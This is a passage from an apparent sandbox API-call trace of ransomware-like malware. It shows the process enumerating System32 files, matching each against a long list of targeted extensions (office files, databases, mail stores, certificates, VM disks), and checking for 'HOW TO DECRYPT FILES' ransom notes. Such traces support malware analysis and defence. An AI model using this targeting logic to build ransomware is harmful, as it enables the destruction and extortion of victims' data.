(pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.flac") returned 0 [0144.731] lstrlenA (lpString="*.flac") returned 6 [0144.732] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.m4a") returned 0 [0144.732] lstrlenA (lpString="*.m4a") returned 5 [0144.732] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\WimProvider.dll", pszSpec="*.csv") returned 0 [0144.732] lstrlenA (lpString="*.csv") returned 5 [0144.732] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831896be, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831896be, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831896be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x54600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WimProvider.dll", cAlternateFileName="")) returned 0 [0144.732] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0144.732] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bc9b6a4, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x4bc9b6a4, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x68f40e90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Dism.exe", cAlternateFileName="")) returned 1 [0144.732] PathFindFileNameA (pszPath="C:\\Windows\\System32\\*.*") returned="*.*" [0144.732] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.732] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.732] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.732] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.733] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="Dism.exe" | out: lpString1="C:\\Windows\\System32\\Dism.exe") returned="C:\\Windows\\System32\\Dism.exe" [0144.733] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.ems") returned 0 [0144.733] lstrlenA (lpString="*.ems") returned 5 [0144.733] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.db") returned 0 [0144.733] lstrlenA (lpString="*.db") returned 4 [0144.733] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.dbf") returned 0 [0144.733] lstrlenA (lpString="*.dbf") returned 5 [0144.733] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.myox") returned 0 [0144.733] lstrlenA (lpString="*.myox") returned 6 [0144.733] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.myo") returned 0 [0144.733] lstrlenA (lpString="*.myo") returned 5 [0144.733] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.qbw") returned 0 [0144.733] lstrlenA (lpString="*.qbw") returned 5 [0144.733] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.qbb") returned 0 [0144.733] lstrlenA (lpString="*.qbb") returned 5 [0144.733] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.qbm") returned 0 [0144.733] lstrlenA (lpString="*.qbm") returned 5 [0144.733] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.qbo") returned 0 [0144.734] lstrlenA (lpString="*.qbo") returned 5 [0144.734] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.qbx") returned 0 [0144.734] lstrlenA (lpString="*.qbx") returned 5 [0144.734] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.qba") returned 0 [0144.734] lstrlenA (lpString="*.qba") returned 5 [0144.734] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.qby") returned 0 [0144.734] lstrlenA (lpString="*.qby") returned 5 [0144.734] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.qbj") returned 0 [0144.734] lstrlenA (lpString="*.qbj") returned 5 [0144.734] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.ofx") returned 0 [0144.734] lstrlenA (lpString="*.ofx") returned 5 [0144.734] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.qif") returned 0 [0144.734] lstrlenA (lpString="*.qif") returned 5 [0144.734] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.mye") returned 0 [0144.734] lstrlenA (lpString="*.mye") returned 5 [0144.734] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.mbox") returned 0 [0144.734] lstrlenA (lpString="*.mbox") returned 6 [0144.734] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.eml") returned 0 [0144.734] lstrlenA (lpString="*.eml") returned 5 [0144.734] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.pst") returned 0 [0144.734] lstrlenA (lpString="*.pst") returned 5 [0144.735] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.ost") returned 0 [0144.735] lstrlenA (lpString="*.ost") returned 5 [0144.735] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.idx") returned 0 [0144.735] lstrlenA (lpString="*.idx") returned 5 [0144.735] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.dbx") returned 0 [0144.735] lstrlenA (lpString="*.dbx") returned 5 [0144.735] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.sql") returned 0 [0144.735] lstrlenA (lpString="*.sql") returned 5 [0144.735] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.mdb") returned 0 [0144.735] lstrlenA (lpString="*.mdb") returned 5 [0144.735] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.fdb") returned 0 [0144.735] lstrlenA (lpString="*.fdb") returned 5 [0144.735] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.wab") returned 0 [0144.735] lstrlenA (lpString="*.wab") returned 5 [0144.735] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.dat") returned 0 [0144.735] lstrlenA (lpString="*.dat") returned 5 [0144.735] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.txt") returned 0 [0144.735] lstrlenA (lpString="*.txt") returned 5 [0144.735] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.jpeg") returned 0 [0144.735] lstrlenA (lpString="*.jpeg") returned 6 [0144.735] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.jpg") returned 0 [0144.735] lstrlenA (lpString="*.jpg") returned 5 [0144.735] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.png") returned 0 [0144.735] lstrlenA (lpString="*.png") returned 5 [0144.736] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.php") returned 0 [0144.736] lstrlenA (lpString="*.php") returned 5 [0144.736] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.cs") returned 0 [0144.736] lstrlenA (lpString="*.cs") returned 4 [0144.736] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.cpp") returned 0 [0144.736] lstrlenA (lpString="*.cpp") returned 5 [0144.736] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.rar") returned 0 [0144.736] lstrlenA (lpString="*.rar") returned 5 [0144.736] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.zip") returned 0 [0144.736] lstrlenA (lpString="*.zip") returned 5 [0144.736] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.html") returned 0 [0144.736] lstrlenA (lpString="*.html") returned 6 [0144.736] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.htm") returned 0 [0144.736] lstrlenA (lpString="*.htm") returned 5 [0144.736] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.xlsx") returned 0 [0144.736] lstrlenA (lpString="*.xlsx") returned 6 [0144.736] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.xls") returned 0 [0144.736] lstrlenA (lpString="*.xls") returned 5 [0144.736] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.mp4") returned 0 [0144.736] lstrlenA (lpString="*.mp4") returned 5 [0144.736] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.ppt") returned 0 [0144.736] lstrlenA (lpString="*.ppt") returned 5 [0144.737] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.pptx") returned 0 [0144.737] lstrlenA (lpString="*.pptx") returned 6 [0144.737] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.doc") returned 0 [0144.737] lstrlenA (lpString="*.doc") returned 5 [0144.737] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.dot") returned 0 [0144.737] lstrlenA (lpString="*.dot") returned 5 [0144.737] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.docx") returned 0 [0144.737] lstrlenA (lpString="*.docx") returned 6 [0144.737] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.7z") returned 0 [0144.737] lstrlenA (lpString="*.7z") returned 4 [0144.737] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.tar") returned 0 [0144.737] lstrlenA (lpString="*.tar") returned 5 [0144.737] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.bz2") returned 0 [0144.737] lstrlenA (lpString="*.bz2") returned 5 [0144.737] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.gz") returned 0 [0144.737] lstrlenA (lpString="*.gz") returned 4 [0144.737] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.mkv") returned 0 [0144.737] lstrlenA (lpString="*.mkv") returned 5 [0144.737] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.eml") returned 0 [0144.737] lstrlenA (lpString="*.eml") returned 5 [0144.737] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.msg") returned 0 [0144.737] lstrlenA (lpString="*.msg") returned 5 [0144.737] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.edb") returned 0 [0144.737] lstrlenA (lpString="*.edb") returned 5 [0144.738] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.accdb") returned 0 [0144.738] lstrlenA (lpString="*.accdb") returned 7 [0144.738] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.odb") returned 0 [0144.738] lstrlenA (lpString="*.odb") returned 5 [0144.738] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.java") returned 0 [0144.738] lstrlenA (lpString="*.java") returned 6 [0144.738] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.asm") returned 0 [0144.738] lstrlenA (lpString="*.asm") returned 5 [0144.738] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.pfx") returned 0 [0144.738] lstrlenA (lpString="*.pfx") returned 5 [0144.738] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.pem") returned 0 [0144.738] lstrlenA (lpString="*.pem") returned 5 [0144.738] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.p12") returned 0 [0144.738] lstrlenA (lpString="*.p12") returned 5 [0144.738] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.gpg") returned 0 [0144.738] lstrlenA (lpString="*.gpg") returned 5 [0144.738] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.vsd") returned 0 [0144.738] lstrlenA (lpString="*.vsd") returned 5 [0144.738] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.odg") returned 0 [0144.738] lstrlenA (lpString="*.odg") returned 5 [0144.738] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.raw") returned 0 [0144.738] lstrlenA (lpString="*.raw") returned 5 [0144.738] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.nef") returned 0 [0144.739] lstrlenA (lpString="*.nef") returned 5 [0144.739] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.svg") returned 0 [0144.739] lstrlenA (lpString="*.svg") returned 5 [0144.739] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.psd") returned 0 [0144.739] lstrlenA (lpString="*.psd") returned 5 [0144.739] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.vmx") returned 0 [0144.739] lstrlenA (lpString="*.vmx") returned 5 [0144.739] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.vmdk") returned 0 [0144.740] lstrlenA (lpString="*.vmdk") returned 6 [0144.740] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.vdi") returned 0 [0144.740] lstrlenA (lpString="*.vdi") returned 5 [0144.740] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.lay6") returned 0 [0144.740] lstrlenA (lpString="*.lay6") returned 6 [0144.740] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.mpeg") returned 0 [0144.740] lstrlenA (lpString="*.mpeg") returned 6 [0144.740] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.djvu") returned 0 [0144.740] lstrlenA (lpString="*.djvu") returned 6 [0144.740] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.tiff") returned 0 [0144.740] lstrlenA (lpString="*.tiff") returned 6 [0144.740] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.backup") returned 0 [0144.740] lstrlenA (lpString="*.backup") returned 8 [0144.740] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.pdf") returned 0 [0144.740] lstrlenA (lpString="*.pdf") returned 5 [0144.740] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.cert") returned 0 [0144.740] lstrlenA (lpString="*.cert") returned 6 [0144.740] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.docm") returned 0 [0144.741] lstrlenA (lpString="*.docm") returned 6 [0144.741] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.xlsm") returned 0 [0144.741] lstrlenA (lpString="*.xlsm") returned 6 [0144.741] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.dwg") returned 0 [0144.741] lstrlenA (lpString="*.dwg") returned 5 [0144.741] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.nd") returned 0 [0144.741] lstrlenA (lpString="*.nd") returned 4 [0144.741] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.tlg") returned 0 [0144.741] lstrlenA (lpString="*.tlg") returned 5 [0144.741] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.lgb") returned 0 [0144.741] lstrlenA (lpString="*.lgb") returned 5 [0144.741] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.mov") returned 0 [0144.741] lstrlenA (lpString="*.mov") returned 5 [0144.741] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.xdw") returned 0 [0144.741] lstrlenA (lpString="*.xdw") returned 5 [0144.741] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.ods") returned 0 [0144.741] lstrlenA (lpString="*.ods") returned 5 [0144.741] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.wav") returned 0 [0144.742] lstrlenA (lpString="*.wav") returned 5 [0144.742] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.mp3") returned 0 [0144.742] lstrlenA (lpString="*.mp3") returned 5 [0144.742] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.aiff") returned 0 [0144.742] lstrlenA (lpString="*.aiff") returned 6 [0144.742] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.flac") returned 0 [0144.742] lstrlenA (lpString="*.flac") returned 6 [0144.742] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.m4a") returned 0 [0144.742] lstrlenA (lpString="*.m4a") returned 5 [0144.742] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism.exe", pszSpec="*.csv") returned 0 [0144.742] lstrlenA (lpString="*.csv") returned 5 [0144.742] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94fbbec0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x94fbbec0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x89275000, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="dispex.dll", cAlternateFileName="")) returned 1 [0144.742] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.742] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dispex.dll") returned 1 [0144.742] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dispex.dll") returned 1 [0144.742] lstrcmpiA (lpString1="", lpString2="dispex.dll") returned -1 [0144.742] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism.exe") returned="Dism.exe" [0144.742] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.743] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.743] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" [0144.743] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\how to decrypt files.txt")) returned 0x20 [0144.743] lstrcatA (in: lpString1="C:\\Windows\\System32\\", lpString2="dispex.dll" | out: lpString1="C:\\Windows\\System32\\dispex.dll") returned="C:\\Windows\\System32\\dispex.dll" [0144.743] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.ems") returned 0 [0144.743] lstrlenA (lpString="*.ems") returned 5 [0144.743] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.db") returned 0 [0144.743] lstrlenA (lpString="*.db") returned 4 [0144.743] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.dbf") returned 0 [0144.743] lstrlenA (lpString="*.dbf") returned 5 [0144.743] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.myox") returned 0 [0144.743] lstrlenA (lpString="*.myox") returned 6 [0144.743] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.myo") returned 0 [0144.743] lstrlenA (lpString="*.myo") returned 5 [0144.743] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.qbw") returned 0 [0144.744] lstrlenA (lpString="*.qbw") returned 5 [0144.744] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.qbb") returned 0 [0144.744] lstrlenA (lpString="*.qbb") returned 5 [0144.744] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.qbm") returned 0 [0144.744] lstrlenA (lpString="*.qbm") returned 5 [0144.744] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.qbo") returned 0 [0144.744] lstrlenA (lpString="*.qbo") returned 5 [0144.744] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.qbx") returned 0 [0144.744] lstrlenA (lpString="*.qbx") returned 5 [0144.744] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.qba") returned 0 [0144.744] lstrlenA (lpString="*.qba") returned 5 [0144.744] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.qby") returned 0 [0144.744] lstrlenA (lpString="*.qby") returned 5 [0144.744] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.qbj") returned 0 [0144.744] lstrlenA (lpString="*.qbj") returned 5 [0144.744] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.ofx") returned 0 [0144.744] lstrlenA (lpString="*.ofx") returned 5 [0144.745] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.qif") returned 0 [0144.745] lstrlenA (lpString="*.qif") returned 5 [0144.745] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.mye") returned 0 [0144.745] lstrlenA (lpString="*.mye") returned 5 [0144.745] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.mbox") returned 0 [0144.745] lstrlenA (lpString="*.mbox") returned 6 [0144.745] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.eml") returned 0 [0144.745] lstrlenA (lpString="*.eml") returned 5 [0144.745] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.pst") returned 0 [0144.745] lstrlenA (lpString="*.pst") returned 5 [0144.745] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.ost") returned 0 [0144.745] lstrlenA (lpString="*.ost") returned 5 [0144.745] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.idx") returned 0 [0144.745] lstrlenA (lpString="*.idx") returned 5 [0144.745] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.dbx") returned 0 [0144.745] lstrlenA (lpString="*.dbx") returned 5 [0144.745] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.sql") returned 0 [0144.745] lstrlenA (lpString="*.sql") returned 5 [0144.746] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.mdb") returned 0 [0144.746] lstrlenA (lpString="*.mdb") returned 5 [0144.746] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.fdb") returned 0 [0144.746] lstrlenA (lpString="*.fdb") returned 5 [0144.746] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.wab") returned 0 [0144.746] lstrlenA (lpString="*.wab") returned 5 [0144.746] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.dat") returned 0 [0144.746] lstrlenA (lpString="*.dat") returned 5 [0144.746] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.txt") returned 0 [0144.746] lstrlenA (lpString="*.txt") returned 5 [0144.746] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.jpeg") returned 0 [0144.746] lstrlenA (lpString="*.jpeg") returned 6 [0144.746] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.jpg") returned 0 [0144.746] lstrlenA (lpString="*.jpg") returned 5 [0144.746] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.png") returned 0 [0144.746] lstrlenA (lpString="*.png") returned 5 [0144.746] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.php") returned 0 [0144.747] lstrlenA (lpString="*.php") returned 5 [0144.747] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.cs") returned 0 [0144.747] lstrlenA (lpString="*.cs") returned 4 [0144.747] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.cpp") returned 0 [0144.747] lstrlenA (lpString="*.cpp") returned 5 [0144.747] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.rar") returned 0 [0144.747] lstrlenA (lpString="*.rar") returned 5 [0144.747] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.zip") returned 0 [0144.747] lstrlenA (lpString="*.zip") returned 5 [0144.747] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.html") returned 0 [0144.747] lstrlenA (lpString="*.html") returned 6 [0144.747] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.htm") returned 0 [0144.747] lstrlenA (lpString="*.htm") returned 5 [0144.747] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.xlsx") returned 0 [0144.747] lstrlenA (lpString="*.xlsx") returned 6 [0144.747] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.xls") returned 0 [0144.747] lstrlenA (lpString="*.xls") returned 5 [0144.747] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.mp4") returned 0 [0144.747] lstrlenA (lpString="*.mp4") returned 5 [0144.747] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.ppt") returned 0 [0144.747] lstrlenA (lpString="*.ppt") returned 5 [0144.747] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.pptx") returned 0 [0144.747] lstrlenA (lpString="*.pptx") returned 6 [0144.748] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.doc") returned 0 [0144.748] lstrlenA (lpString="*.doc") returned 5 [0144.748] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.dot") returned 0 [0144.748] lstrlenA (lpString="*.dot") returned 5 [0144.748] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.docx") returned 0 [0144.748] lstrlenA (lpString="*.docx") returned 6 [0144.748] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.7z") returned 0 [0144.748] lstrlenA (lpString="*.7z") returned 4 [0144.748] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.tar") returned 0 [0144.748] lstrlenA (lpString="*.tar") returned 5 [0144.748] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.bz2") returned 0 [0144.748] lstrlenA (lpString="*.bz2") returned 5 [0144.748] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.gz") returned 0 [0144.748] lstrlenA (lpString="*.gz") returned 4 [0144.748] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.mkv") returned 0 [0144.748] lstrlenA (lpString="*.mkv") returned 5 [0144.748] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.eml") returned 0 [0144.748] lstrlenA (lpString="*.eml") returned 5 [0144.748] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.msg") returned 0 [0144.749] lstrlenA (lpString="*.msg") returned 5 [0144.749] PathMatchSpecA (pszFile="C:\\Windows\\System32\\dispex.dll", pszSpec="*.edb") returned 0 [0144.749] 